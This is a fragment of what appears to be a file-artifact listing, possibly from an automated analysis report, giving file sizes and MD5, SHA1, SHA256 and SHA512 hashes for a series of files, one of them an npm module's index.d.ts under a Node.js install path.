SHA256c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5
SHA5125221c7648f4299234a4637c47d3f1eb5e147014704913bc6fdad91b9b6a6ccc109bced63376b82b046bb5cad708464c76fb452365b76dbf53161914acf8fb11a
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Filesize
802B
MD5d7c8fab641cd22d2cd30d2999cc77040
SHA1d293601583b1454ad5415260e4378217d569538e
SHA25604400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be
SHA512278ff929904be0c19ee5fb836f205e3e5b3e7cec3d26dd42bbf1e7e0ca891bf9c42d2b28fce3741ae92e4a924baf7490c7c6c59284127081015a82e2653e0764
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Filesize
16KB
MD5bc0c0eeede037aa152345ab1f9774e92
SHA156e0f71900f0ef8294e46757ec14c0c11ed31d4e
SHA2567a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5
SHA5125f31251825554bf9ed99eda282fa1973fcec4a078796a10757f4fb5592f2783c4ebdd00bdf0d7ed30f82f54a7668446a372039e9d4589db52a75060ca82186b3
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Filesize
780B
MD5b020de8f88eacc104c21d6e6cacc636d
SHA120b35e641e3a5ea25f012e13d69fab37e3d68d6b
SHA2563f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
SHA5124220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38
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Filesize
763B
MD57428aa9f83c500c4a434f8848ee23851
SHA1166b3e1c1b7d7cb7b070108876492529f546219f
SHA2561fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7
SHA512c7f01de85f0660560206784cdf159b2bdc5f1bc87131f5a8edf384eba47a113005491520b0a25d3cc425985b5def7b189e18ff76d7d562c434dc5d8c82e90cce
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C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\index.d.ts
Filesize4KB
MD5f0bd53316e08991d94586331f9c11d97
SHA1f5a7a6dc0da46c3e077764cfb3e928c4a75d383e
SHA256dd3eda3596af30eda88b4c6c2156d3af6e7fa221f39c46e492c5e9fb697e2fef
SHA512fd6affbaed67d09cf45478f38e92b8ca6c27650a232cbbeaff36e4f7554fb731ae44cf732378641312e98221539e3d8fabe80a7814e4f425026202de44eb5839
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Filesize
771B
MD51d7c74bcd1904d125f6aff37749dc069
SHA121e6dfe0fffc2f3ec97594aa261929a3ea9cf2ab
SHA25624b8d53712087b867030d18f2bd6d1a72c78f9fb4dee0ce025374da25e4443b9
SHA512b5ac03addd29ba82fc05eea8d8d09e0f2fa9814d0dd619c2f7b209a67d95b538c3c2ff70408641ef3704f6a14e710e56f4bf57c2bb3f8957ba164f28ee591778
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Filesize
3KB
MD56b8559593a74eb3b15c53a9fac9a469f
SHA113af213d1417edf30c03f76f9242c1975b2e4e74
SHA256e053d1faabd6b36371f452e79cf70591cf45403a671746136a87198694a8fdb9
SHA512699b11eda97866809b696c96304bc218d7b72623fd537f83721f36a6c617d854fda7b6f01f7cb0bc0d55189c386e9b9fe6d111bb7c76cce492572b0a9961e974
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Filesize
1KB
MD5ff2ebc63009127bf2c74f18dc727774e
SHA1603a245252097e9b8d6823e08a76361ba94f7720
SHA2565048a68ea6a51a2a93fba28d043dbcc8ae067225e4e1b9569a74caac617e9a42
SHA51215b4baf594f91eba3ad7d390859140220da191bfc9de2eeeca5455a643ce5b19cd88b221e354d6a577df799564cc73285f2418108d2b850630196053ac53007b
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Filesize
800KB
MD52a4dcf20b82896be94eb538260c5fb93
SHA121f232c2fd8132f8677e53258562ad98b455e679
SHA256ebbcb489171abfcfce56554dbaeacd22a15838391cbc7c756db02995129def5a
SHA5124f1164b2312fb94b7030d6eb6aa9f3502912ffa33505f156443570fc964bfd3bb21ded3cf84092054e07346d2dce83a0907ba33f4ba39ad3fe7a78e836efe288
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
30.1MB
MD50e4e9aa41d24221b29b19ba96c1a64d0
SHA1231ade3d5a586c0eb4441c8dbfe9007dc26b2872
SHA2565bfb6f3ab89e198539408f7e0e8ec0b0bd5efe8898573ec05b381228efb45a5d
SHA512e6f27aecead72dffecbeaad46ebdf4b1fd3dbcddd1f6076ba183b654e4e32d30f7af1236bf2e04459186e993356fe2041840671be73612c8afed985c2c608913
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Filesize
467KB
MD5820debc2f4f0c9222c455ad0befb35ca
SHA12f64b6503ac7e19c37d2556c5a8096b593b152d3
SHA256722075c841ad49931e716a80a1ba276b325ee7eb7062e295140107ac73b4f9ec
SHA512c713b74b0163483a53454cfdbdf6a005950d0bf1e044698c93bfeb2e9fed2866fef0c17d5b7b6573dec062b1edcdc3e3eb8574c74a0beaeb370466d1c250d744
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Filesize
115B
MD5d01ef686a32d9eb2653ebde3698ab3ed
SHA1e5ebad50d0dbd58cfee2bd674ce0a8e735180079
SHA256f97e5c1c069825a3f0462faea1cc1acdb40083ea4bf6ebd33f8dd33b5ef4048a
SHA5122599ed02753bef1288834368dbcf7df1fa6eb5bd7c854e6542a27aae227679a7a9ab2f3b9245de05f0341c62bf71b7baf8292d5e9123dfd14c3047c9dfc6d0ae
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Filesize
297KB
MD57a86ce1a899262dd3c1df656bff3fb2c
SHA133dcbe66c0dc0a16bab852ed0a6ef71c2d9e0541
SHA256b8f2d0909d7c2934285a8be010d37c0609c7854a36562cbfcbce547f4f4c7b0c
SHA512421e8195c47381de4b3125ab6719eec9be7acd2c97ce9247f4b70a309d32377917c9686b245864e914448fe53df2694d5ee5f327838d029989ba7acafda302ec
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Filesize
122KB
MD59fe9b0ecaea0324ad99036a91db03ebb
SHA1144068c64ec06fc08eadfcca0a014a44b95bb908
SHA256e2cce64916e405976a1d0c522b44527d12b1cba19de25da62121cf5f41d184c9
SHA512906641a73d69a841218ae90b83714a05af3537eec8ad1d761f58ac365cf005bdd74ad88f71c4437aaa126ac74fa46bcad424d17c746ab197eec2caa1bd838176
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Filesize
211KB
MD5a3ae5d86ecf38db9427359ea37a5f646
SHA1eb4cb5ff520717038adadcc5e1ef8f7c24b27a90
SHA256c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74
SHA51296ecb3bc00848eeb2836e289ef7b7b2607d30790ffd1ae0e0acfc2e14f26a991c6e728b8dc67280426e478c70231f9e13f514e52c8ce7d956c1fad0e322d98e0